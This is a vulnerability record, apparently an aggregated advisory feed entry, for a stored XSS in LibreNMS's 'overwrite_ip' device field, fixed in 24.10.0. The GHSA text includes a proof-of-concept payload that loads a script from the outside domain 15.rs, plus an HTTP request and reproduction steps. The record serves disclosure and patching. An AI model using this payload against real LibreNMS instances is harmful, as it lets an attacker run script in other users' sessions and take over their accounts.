{"id":"CVE-2024-51495","aliases":["CVE-2024-51495","GHSA-p66q-ppwr-q5j8"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php","summary":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the \"overwrite_ip\" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. This vulnerability is fixed in 24.10.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the \"overwrite_ip\" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. This vulnerability is fixed in 24.10.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the \"overwrite_ip\" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.\n\n### Details\n\nThe vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the \"overwrite_ip\" parameter. This malicious script is then executed in the \"Assigned IP\" field when the device overview page is loaded.\n\nThe payload used to exploit this vulnerability is: `test'\"><script src=//15.rs></script>`\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe root cause of this vulnerability is the application's failure to properly sanitize the \"overwrite_ip\" value before including it in the HTML output. This is evident in the following line of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42\n\n### PoC\n\n1. Edit a device and use the following payload in the \"overwrite_ip\" parameter: `test'\"><script src=//15.rs></script>`\n2. Save the changes.\n3. Navigate to the device overview page.\n4. Observe that the injected script executes in the \"Assigned IP\" field.\n\n```http\nPOST /device/14/edit HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded\nCookie: <your_cookie>\n\n_token=<your_token>&editing=yes&display=&overwrite_ip=test'\"><script+src=//15.rs></script>&descr=&type=&parent_id%5B%5D=15&Submit=\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.","format":"markdown","source":"ghsa"},{"lang":"es","text":"LibreNMS es un sistema de monitoreo de red de código abierto basado en PHP/MySQL/SNMP. Una vulnerabilidad de cross site scripting (XSS) almacenado en la página de descripción general del dispositivo permite a los usuarios autenticados inyectar código JavaScript arbitrario a través del parámetro \"overwrite_ip\" al editar un dispositivo. Esta vulnerabilidad da como resultado la ejecución de código malicioso cuando se visita la página de descripción general del dispositivo, lo que puede comprometer las cuentas de otros usuarios. Esta vulnerabilidad se solucionó en la versión 24.10.0.","source":"nvd"}],"published":"2024-11-15T15:44:27.000Z","modified":"2026-06-17T08:05:48.183Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.10.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"24.10.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-p66q-ppwr-q5j8","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/commit/4568188ce9097a2e3a3b563311077f2bb82455c0","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51495","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-11-15T15:59:29.292Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-51495","url":"https://www.cve.org/CVERecord?id=CVE-2024-51495","licence":"CVE Terms of Use","modified":"2024-11-15T16:01:15.639Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-p66q-ppwr-q5j8","url":"https://github.com/advisories/GHSA-p66q-ppwr-q5j8","licence":"CC-BY-4.0","modified":"2024-11-15T21:24:46.573Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-51495","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51495","licence":"Public domain","modified":"2026-06-17T08:05:48.183Z"}],"updatedAt":"2026-11-25T22:58:48.306Z","epss":{"score":0.00431,"percentile":0.39236,"date":"2026-12-01T12:00:22.000Z"}}